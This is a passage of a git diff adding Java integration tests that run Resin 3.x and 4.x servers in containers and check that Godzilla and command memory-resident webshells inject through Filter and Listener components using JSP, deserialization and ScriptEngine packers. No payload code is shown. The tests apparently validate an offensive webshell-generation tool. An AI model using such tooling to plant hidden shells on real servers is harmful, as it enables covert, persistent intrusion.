Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java new file mode 100644 index 00000000..0a93b419 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -0,0 +1,65 @@ +package com.reajason.javaweb.integration.resin; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Resin318ContainerTest { + public static final String imageName = "reajason/resin:3.1.8-jdk7"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java new file mode 100644 index 00000000..e75312e8 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -0,0 +1,69 @@ +package com.reajason.javaweb.integration.resin; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Resin4058ContainerTest { + public static final String imageName = "reajason/resin:4.0.58"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java new file mode 100644 index 00000000..c89b4bd8 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.integration.resin; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Resin4067ContainerTest { + public static final String imageName = "reajason/resin:4.0.67-jdk11"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer); + } +} \ No newline at end of file